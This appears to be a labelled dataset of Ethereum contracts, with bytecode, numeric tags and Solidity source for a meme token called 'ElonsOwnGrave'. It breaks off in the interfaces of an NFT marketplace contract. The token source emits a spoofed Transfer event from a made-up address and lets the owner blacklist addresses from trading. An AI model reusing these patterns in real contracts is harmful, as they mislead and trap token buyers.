0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80635ebfdfc6116100715780635ebfdfc61461011c578063715018a61461012f5780638da5cb5b14610137578063b6b55f251461014c578063f2fde38b1461015f578063fe02835d14610172576100a9565b806302fb0c5e146100ae5780630a64143a146100cc578063155dd5ee146100ec578063157122161461010157806329c68dc114610114575b600080fd5b6100b661017a565b6040516100c39190610a99565b60405180910390f35b6100df6100da36600461092d565b61018a565b6040516100c39190610d37565b6100ff6100fa366004610974565b61019c565b005b6100ff61010f36600461092d565b61021b565b6100ff6102a2565b6100ff61012a36600461098c565b610302565b6100ff6104c2565b61013f61054b565b6040516100c39190610a48565b6100ff61015a366004610974565b61055a565b6100ff61016d36600461092d565b61061c565b61013f6106dc565b600154600160a01b900460ff1681565b60026020526000908152604090205481565b6101a4610700565b6001600160a01b03166101b561054b565b6001600160a01b0316146101e45760405162461bcd60e51b81526004016101db90610c15565b60405180910390fd5b6102186001600160a01b037f00000000000000000000000024ec2ca132abf8f6f8a6e24a1b97943e31f256a7163383610704565b50565b610223610700565b6001600160a01b031661023461054b565b6001600160a01b03161461025a5760405162461bcd60e51b81526004016101db90610c15565b6001600160a01b0381166102805760405162461bcd60e51b81526004016101db90610af5565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6102aa610700565b6001600160a01b03166102bb61054b565b6001600160a01b0316146102e15760405162461bcd60e51b81526004016101db90610c15565b6001805460ff60a01b198116600160a01b9182900460ff1615909102179055565b600154600160a01b900460ff1661032b5760405162461bcd60e51b81526004016101db90610d02565b6000303386604051602001610342939291906109cd565b60405160208183030381529060405280519060200120905060018160405160200161036d9190610a17565b60405160208183030381529060405280519060200120858585604051600081526020016040526040516103a39493929190610aa4565b6020604051602081039080840390855afa1580156103c5573d6000803e3d6000fd5b5050604051601f1901516001546001600160a01b0390811691161490506103fe5760405162461bcd60e51b81526004016101db90610b7c565b3360009081526002602052604090205480861161042d5760405162461bcd60e51b81526004016101db90610bed565b33600081815260026020526040902087905581870390610478907f00000000000000000000000024ec2ca132abf8f6f8a6e24a1b97943e31f256a76001600160a01b03169083610704565b336001600160a01b03167f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364826040516104b19190610d37565b60405180910390a250505050505050565b6104ca610700565b6001600160a01b03166104db61054b565b6001600160a01b0316146105015760405162461bcd60e51b81526004016101db90610c15565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b600154600160a01b900460ff166105835760405162461bcd60e51b81526004016101db90610d02565b600081116105a35760405162461bcd60e51b81526004016101db90610c81565b6105d86001600160a01b037f00000000000000000000000024ec2ca132abf8f6f8a6e24a1b97943e31f256a71633308461075f565b336001600160a01b03167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c826040516106119190610d37565b60405180910390a250565b610624610700565b6001600160a01b031661063561054b565b6001600160a01b03161461065b5760405162461bcd60e51b81526004016101db90610c15565b6001600160a01b0381166106815760405162461bcd60e51b81526004016101db90610b36565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b7f00000000000000000000000024ec2ca132abf8f6f8a6e24a1b97943e31f256a781565b3390565b61075a8363a9059cbb60e01b8484604051602401610723929190610a80565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152610786565b505050565b610780846323b872dd60e01b85858560405160240161072393929190610a5c565b50505050565b60006107db826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166108159092919063ffffffff16565b80519091501561075a57808060200190518101906107f99190610954565b61075a5760405162461bcd60e51b81526004016101db90610cb8565b6060610824848460008561082e565b90505b9392505050565b6060824710156108505760405162461bcd60e51b81526004016101db90610ba7565b610859856108ee565b6108755760405162461bcd60e51b81526004016101db90610c4a565b600080866001600160a01b0316858760405161089191906109fb565b60006040518083038185875af1925050503d80600081146108ce576040519150601f19603f3d011682016040523d82523d6000602084013e6108d3565b606091505b50915091506108e38282866108f4565b979650505050505050565b3b151590565b60608315610903575081610827565b8251156109135782518084602001fd5b8160405162461bcd60e51b81526004016101db9190610ac2565b60006020828403121561093e578081fd5b81356001600160a01b0381168114610827578182fd5b600060208284031215610965578081fd5b81518015158114610827578182fd5b600060208284031215610985578081fd5b5035919050565b600080600080608085870312156109a1578283fd5b84359350602085013560ff811681146109b8578384fd5b93969395505050506040820135916060013590565b6bffffffffffffffffffffffff19606094851b811682529290931b9091166014830152602882015260480190565b60008251610a0d818460208701610d40565b9190910192915050565b7f19457468657265756d205369676e6564204d6573736167653a0a3332000000008152601c810191909152603c0190565b6001600160a01b0391909116815260200190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b03929092168252602082015260400190565b901515815260200190565b93845260ff9290921660208401526040830152606082015260800190565b6000602082528251806020840152610ae1816040850160208701610d40565b601f01601f19169190910160400192915050565b60208082526021908201527f426f756e6365722063616e277420626520746865207a65726f206164647265736040820152607360f81b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b602080825260119082015270496e76616c6964207369676e617475726560781b604082015260600190565b60208082526026908201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6040820152651c8818d85b1b60d21b606082015260800190565b6020808252600e908201526d4d657373616765207265706c617960901b604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252601d908201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604082015260600190565b6020808252601f908201527f4465706f73697420616d6f756e74206d75737420626520706f73697469766500604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152691bdd081cdd58d8d9595960b21b606082015260800190565b6020808252818101527f646f746d6f6f7673207061796d656e747320617265206e6f7420616374697665604082015260600190565b90815260200190565b60005b83811015610d5b578181015183820152602001610d43565b83811115610780575050600091015256fea2646970667358221220fb37db45659a2fdbb50577677c2aabd3323e78aa2705cc6a441495149455ec9964736f6c63430007060033
[ 38 ]
0xf32cc655e1d73297592cb72f537a865584dab033
/** TG: @ElonsOwnGrave */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ElonsOwnGrave is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Elons Own Grave"; string private constant _symbol = "ELONSGRAVE"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x2F0ae2bdAe7fd999CefbF8100477a1ceDb970736); _feeAddrWallet2 = payable(0x2F0ae2bdAe7fd999CefbF8100477a1ceDb970736); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0xd55FF395A7360be0c79D3556b0f65ef44b319575), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 9; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102d1578063b515566a146102f1578063c3c8cd8014610311578063c9567bf914610326578063dd62ed3e1461033b57600080fd5b806370a0823114610241578063715018a6146102615780638da5cb5b1461027657806395d89b411461029e57600080fd5b8063273123b7116100d1578063273123b7146101ce578063313ce567146101f05780635932ead11461020c5780636fc3eaec1461022c57600080fd5b806306fdde031461010e578063095ea7b31461015857806318160ddd1461018857806323b872dd146101ae57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600f81526e456c6f6e73204f776e20477261766560881b60208201525b60405161014f91906117c5565b60405180910390f35b34801561016457600080fd5b50610178610173366004611665565b610381565b604051901515815260200161014f565b34801561019457600080fd5b50683635c9adc5dea000005b60405190815260200161014f565b3480156101ba57600080fd5b506101786101c9366004611624565b610398565b3480156101da57600080fd5b506101ee6101e93660046115b1565b610401565b005b3480156101fc57600080fd5b506040516009815260200161014f565b34801561021857600080fd5b506101ee61022736600461175d565b610455565b34801561023857600080fd5b506101ee61049d565b34801561024d57600080fd5b506101a061025c3660046115b1565b6104ca565b34801561026d57600080fd5b506101ee6104ec565b34801561028257600080fd5b506000546040516001600160a01b03909116815260200161014f565b3480156102aa57600080fd5b5060408051808201909152600a815269454c4f4e53475241564560b01b6020820152610142565b3480156102dd57600080fd5b506101786102ec366004611665565b610560565b3480156102fd57600080fd5b506101ee61030c366004611691565b61056d565b34801561031d57600080fd5b506101ee610603565b34801561033257600080fd5b506101ee610639565b34801561034757600080fd5b506101a06103563660046115eb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600061038e3384846109fd565b5060015b92915050565b60006103a5848484610b21565b6103f784336103f2856040518060600160405280602881526020016119b1602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e6e565b6109fd565b5060019392505050565b6000546001600160a01b031633146104345760405162461bcd60e51b815260040161042b9061181a565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461047f5760405162461bcd60e51b815260040161042b9061181a565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104bd57600080fd5b476104c781610ea8565b50565b6001600160a01b03811660009081526002602052604081205461039290610f2d565b6000546001600160a01b031633146105165760405162461bcd60e51b815260040161042b9061181a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061038e338484610b21565b6000546001600160a01b031633146105975760405162461bcd60e51b815260040161042b9061181a565b60005b81518110156105ff576001600660008484815181106105bb576105bb611961565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f781611930565b91505061059a565b5050565b600c546001600160a01b0316336001600160a01b03161461062357600080fd5b600061062e306104ca565b90506104c781610fb1565b6000546001600160a01b031633146106635760405162461bcd60e51b815260040161042b9061181a565b600f54600160a01b900460ff16156106bd5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161042b565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106fa3082683635c9adc5dea000006109fd565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561073357600080fd5b505afa158015610747573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076b91906115ce565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107b357600080fd5b505afa1580156107c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107eb91906115ce565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561083357600080fd5b505af1158015610847573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086b91906115ce565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061089b816104ca565b6000806108b06000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561091357600080fd5b505af1158015610927573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061094c9190611797565b5050600f80546802b5e3af16b188000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109c557600080fd5b505af11580156109d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ff919061177a565b6001600160a01b038316610a5f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161042b565b6001600160a01b038216610ac05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161042b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b855760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161042b565b6001600160a01b038216610be75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161042b565b60008111610c495760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161042b565b6002600a556009600b556000546001600160a01b03848116911614801590610c7f57506000546001600160a01b03838116911614155b15610e5e576001600160a01b03831660009081526006602052604090205460ff16158015610cc657506001600160a01b03821660009081526006602052604090205460ff16155b610ccf57600080fd5b600f546001600160a01b038481169116148015610cfa5750600e546001600160a01b03838116911614155b8015610d1f57506001600160a01b03821660009081526005602052604090205460ff16155b8015610d345750600f54600160b81b900460ff165b15610d9157601054811115610d4857600080fd5b6001600160a01b0382166000908152600760205260409020544211610d6c57600080fd5b610d7742601e6118c0565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610dbc5750600e546001600160a01b03848116911614155b8015610de157506001600160a01b03831660009081526005602052604090205460ff16155b15610df1576002600a908155600b555b6000610dfc306104ca565b600f54909150600160a81b900460ff16158015610e275750600f546001600160a01b03858116911614155b8015610e3c5750600f54600160b01b900460ff165b15610e5c57610e4a81610fb1565b478015610e5a57610e5a47610ea8565b505b505b610e6983838361113a565b505050565b60008184841115610e925760405162461bcd60e51b815260040161042b91906117c5565b506000610e9f8486611919565b95945050505050565b600c546001600160a01b03166108fc610ec2836002611145565b6040518115909202916000818181858888f19350505050158015610eea573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610f05836002611145565b6040518115909202916000818181858888f193505050501580156105ff573d6000803e3d6000fd5b6000600854821115610f945760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161042b565b6000610f9e611187565b9050610faa8382611145565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ff957610ff9611961565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561104d57600080fd5b505afa158015611061573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061108591906115ce565b8160018151811061109857611098611961565b6001600160a01b039283166020918202929092010152600e546110be91309116846109fd565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110f790859060009086903090429060040161184f565b600060405180830381600087803b15801561111157600080fd5b505af1158015611125573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e698383836111aa565b6000610faa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112a1565b60008060006111946112cf565b90925090506111a38282611145565b9250505090565b6000806000806000806111bc87611311565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111ee908761136e565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461121d90866113b0565b6001600160a01b03891660009081526002602052604090205561123f8161140f565b6112498483611459565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161128e91815260200190565b60405180910390a3505050505050505050565b600081836112c25760405162461bcd60e51b815260040161042b91906117c5565b506000610e9f84866118d8565b6008546000908190683635c9adc5dea000006112eb8282611145565b82101561130857505060085492683635c9adc5dea0000092509050565b90939092509050565b600080600080600080600080600061132e8a600a54600b5461147d565b925092509250600061133e611187565b905060008060006113518e8787876114d2565b919e509c509a509598509396509194505050505091939550919395565b6000610faa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e6e565b6000806113bd83856118c0565b905083811015610faa5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161042b565b6000611419611187565b905060006114278383611522565b3060009081526002602052604090205490915061144490826113b0565b30600090815260026020526040902055505050565b600854611466908361136e565b60085560095461147690826113b0565b6009555050565b600080808061149760646114918989611522565b90611145565b905060006114aa60646114918a89611522565b905060006114c2826114bc8b8661136e565b9061136e565b9992985090965090945050505050565b60008080806114e18886611522565b905060006114ef8887611522565b905060006114fd8888611522565b9050600061150f826114bc868661136e565b939b939a50919850919650505050505050565b60008261153157506000610392565b600061153d83856118fa565b90508261154a85836118d8565b14610faa5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161042b565b80356115ac8161198d565b919050565b6000602082840312156115c357600080fd5b8135610faa8161198d565b6000602082840312156115e057600080fd5b8151610faa8161198d565b600080604083850312156115fe57600080fd5b82356116098161198d565b915060208301356116198161198d565b809150509250929050565b60008060006060848603121561163957600080fd5b83356116448161198d565b925060208401356116548161198d565b929592945050506040919091013590565b6000806040838503121561167857600080fd5b82356116838161198d565b946020939093013593505050565b600060208083850312156116a457600080fd5b823567ffffffffffffffff808211156116bc57600080fd5b818501915085601f8301126116d057600080fd5b8135818111156116e2576116e2611977565b8060051b604051601f19603f8301168101818110858211171561170757611707611977565b604052828152858101935084860182860187018a101561172657600080fd5b600095505b838610156117505761173c816115a1565b85526001959095019493860193860161172b565b5098975050505050505050565b60006020828403121561176f57600080fd5b8135610faa816119a2565b60006020828403121561178c57600080fd5b8151610faa816119a2565b6000806000606084860312156117ac57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156117f2578581018301518582016040015282016117d6565b81811115611804576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561189f5784516001600160a01b03168352938301939183019160010161187a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118d3576118d361194b565b500190565b6000826118f557634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156119145761191461194b565b500290565b60008282101561192b5761192b61194b565b500390565b60006000198214156119445761194461194b565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104c757600080fd5b80151581146104c757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204a1c85b6c1bebc80905520c879fbdab562bcaacae1e45a27bf237e1954c3d8a864736f6c63430008070033
[ 13, 5 ]
0xf32cefb83d0f91610a441356701c9547fa5031a7
//SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * * * Requirements: * - `from`, `to` cannot be zero. * - `tokenId` must be owned by `from`. * - `tokenId` must be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this * NFT by either {approve} or {setApprovalForAll}. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; function createCollectible(address from, string memory tokenURI, address[] memory royalty, uint256[] memory royaltyFee) external returns(uint256); function mintAndTransfer(address from, address to, address[] memory _royaltyAddress, uint256[] memory _royaltyfee, string memory _tokenURI, bytes memory data)external returns(uint256); } interface IERC1155 is IERC165 { /** @notice Transfers `_value` amount of an `_id` from the `_from` address to the `_to` address specified (with safety call). @dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard). MUST revert if `_to` is the zero address. MUST revert if balance of holder for token `_id` is lower than the `_value` sent. MUST revert on any other error. MUST emit the `TransferSingle` event to reflect the balance change (see "Safe Transfer Rules" section of the standard). After the above conditions are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call `onERC1155Received` on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard). @param _from Source address @param _to Target address @param _id ID of the token type @param _value Transfer amount @param _data Additional data with no specified format, MUST be sent unaltered in call to `onERC1155Received` on `_to` */ function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external; function mint(address from, string memory uri, uint256 supply, address[] memory royaltyAddress, uint256[] memory royaltyFee) external; function mintAndTransfer(address from, address to, address[] memory _royaltyAddress, uint256[] memory _royaltyfee, uint256 _supply, string memory _tokenURI, uint256 qty, bytes memory data)external returns(uint256); } interface IERC20 { function transferFrom(address sender, address recipient, uint256 amount) 